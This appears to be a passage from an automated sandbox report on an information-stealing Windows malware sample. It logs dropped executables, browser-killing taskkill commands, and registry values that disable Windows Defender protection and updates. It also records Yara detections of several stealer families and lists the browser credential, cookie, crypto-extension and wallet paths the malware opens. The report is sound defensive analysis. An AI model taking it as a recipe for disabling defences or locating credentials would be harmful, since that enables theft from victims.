Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe "C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1002765001\e90585a72a.exe "C:\Users\user\AppData\Local\Temp\1002765001\e90585a72a.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1002766001\384a543dd0.exe "C:\Users\user\AppData\Local\Temp\1002766001\384a543dd0.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1002767001\num.exe "C:\Users\user\AppData\Local\Temp\1002767001\num.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002763001\innoinstaller.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1002766001\384a543dd0.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002766001\384a543dd0.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002766001\384a543dd0.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002766001\384a543dd0.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002766001\384a543dd0.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T

Source: 384a543dd0.exe, 00000012.00000000.2730995677.00000000007F2000.00000002.00000001.01000000.00000012.sdmp	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: skotes.exe, skotes.exe, 00000008.00000002.2932341163.00000000005EA000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: pProgram Manager
Source: NSXWT8JG74T0IR99MSITIVFVWS7V.exe, 00000004.00000002.2198301393.0000000000EBB000.00000040.00000001.01000000.00000006.sdmp	Binary or memory string: MProgram Manager
Source: firefox.exe, 0000001F.00000002.2940194454.00000059C88FB000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: ?ProgmanListenerWi

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 8_2_0040D3E2 cpuid

8_2_0040D3E2

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1002763001\innoinstaller.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1002763001\innoinstaller.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1002765001\e90585a72a.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1002765001\e90585a72a.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1002766001\384a543dd0.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1002766001\384a543dd0.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1002767001\num.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1002767001\num.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002763001\innoinstaller.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1002763001\innoinstaller.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002763001\innoinstaller.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002763001\innoinstaller.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1002765001\e90585a72a.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1002767001\num.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 8_2_0040CBEA GetSystemTimePreciseAsFileTime,GetSystemTimePreciseAsFileTime,

8_2_0040CBEA

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Disable Windows Defender notifications (registry)

Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe

Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications DisableNotifications 1

Jump to behavior

Disable Windows Defender real time protection (registry)

Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableIOAVProtection 1	Jump to behavior
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableRealtimeMonitoring 1	Jump to behavior
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications	Registry value created: DisableNotifications 1	Jump to behavior

Disables Windows Defender Tamper protection

Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe

Registry value created: TamperProtection 0

Jump to behavior

Modifies windows update settings

Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AUOptions	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AutoInstallMinorUpdates	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate DoNotConnectToWindowsUpdateInternetLocations	Jump to behavior

Source: file.exe, 00000000.00000003.1783230303.0000000000A5C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1783251069.0000000000A64000.00000004.00000020.00020000.00000000.sdmp, 70bf1463df.exe, 00000010.00000003.2675857195.00000000009A7000.00000004.00000020.00020000.00000000.sdmp, 70bf1463df.exe, 00000010.00000003.2686263448.0000000000995000.00000004.00000020.00020000.00000000.sdmp, 70bf1463df.exe, 00000010.00000003.2796735453.0000000000993000.00000004.00000020.00020000.00000000.sdmp, 70bf1463df.exe, 00000010.00000003.2675791913.000000000099C000.00000004.00000020.00020000.00000000.sdmp, 70bf1463df.exe, 00000010.00000003.2675828449.00000000009A0000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\file.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 36.2.IPBFM5C40FWD77UPB7GOCE.exe.c20000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.VG65QSLZVUGSLKDE78EZSIIG.exe.e60000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.skotes.exe.3f0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.skotes.exe.3f0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.skotes.exe.3f0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000003.2081884268.0000000005560000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.2154589683.00000000003F1000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2931180827.00000000003F1000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 00000024.00000002.2895934799.0000000000C21000.00000040.00000001.01000000.0000001B.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2122356515.0000000000E61000.00000040.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.2109439630.0000000004BE0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000024.00000003.2855232962.0000000005020000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000003.2112931245.00000000049D0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2150060118.00000000003F1000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000003.2342681406.00000000052F0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected Credential Flusher

Source: Yara match

File source: Process Memory Space: 384a543dd0.exe PID: 7480, type: MEMORYSTR

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: file.exe PID: 7304, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 70bf1463df.exe PID: 6984, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 35.2.num.exe.d00000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 35.0.num.exe.d00000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.e90585a72a.exe.650000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000011.00000002.2707046066.000000000120E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000023.00000002.2829604332.0000000000ACE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000003.2665005403.0000000005030000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000023.00000000.2812170564.0000000000D1E000.00000002.00000001.01000000.0000001A.sdmp, type: MEMORY
Source: Yara match	File source: 00000023.00000002.2832801090.0000000000D1E000.00000002.00000001.01000000.0000001A.sdmp, type: MEMORY
Source: Yara match	File source: 00000023.00000000.2811743651.0000000000D01000.00000080.00000001.01000000.0000001A.sdmp, type: MEMORY
Source: Yara match	File source: 00000023.00000002.2832117912.0000000000D01000.00000080.00000001.01000000.0000001A.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.2706006259.0000000000651000.00000040.00000001.01000000.00000011.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: e90585a72a.exe PID: 3620, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1002767001\num.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\num[1].exe, type: DROPPED
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected WhiteSnake Stealer

Source: Yara match	File source: 0000000B.00000002.2942872417.0000000002441000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 6032, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: InstallUtil.exe, 0000000B.00000002.2942872417.0000000002441000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: %AppData%\Electrum\wallets
Source: file.exe	String found in binary or memory: %appdata%\com.liberty.jaxx\IndexedDB
Source: InstallUtil.exe, 0000000B.00000002.2942872417.0000000002441000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: $^q%exodus.conf.json;exodus.wallet\*.seco
Source: InstallUtil.exe, 0000000B.00000002.2942872417.0000000002441000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: $^q$%AppData%\Jaxx\Local Storage\leveldb
Source: file.exe	String found in binary or memory: Wallets/Exodus
Source: file.exe	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: file.exe	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cert9.db
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\formhistory.sqlite
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\logins.json
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn
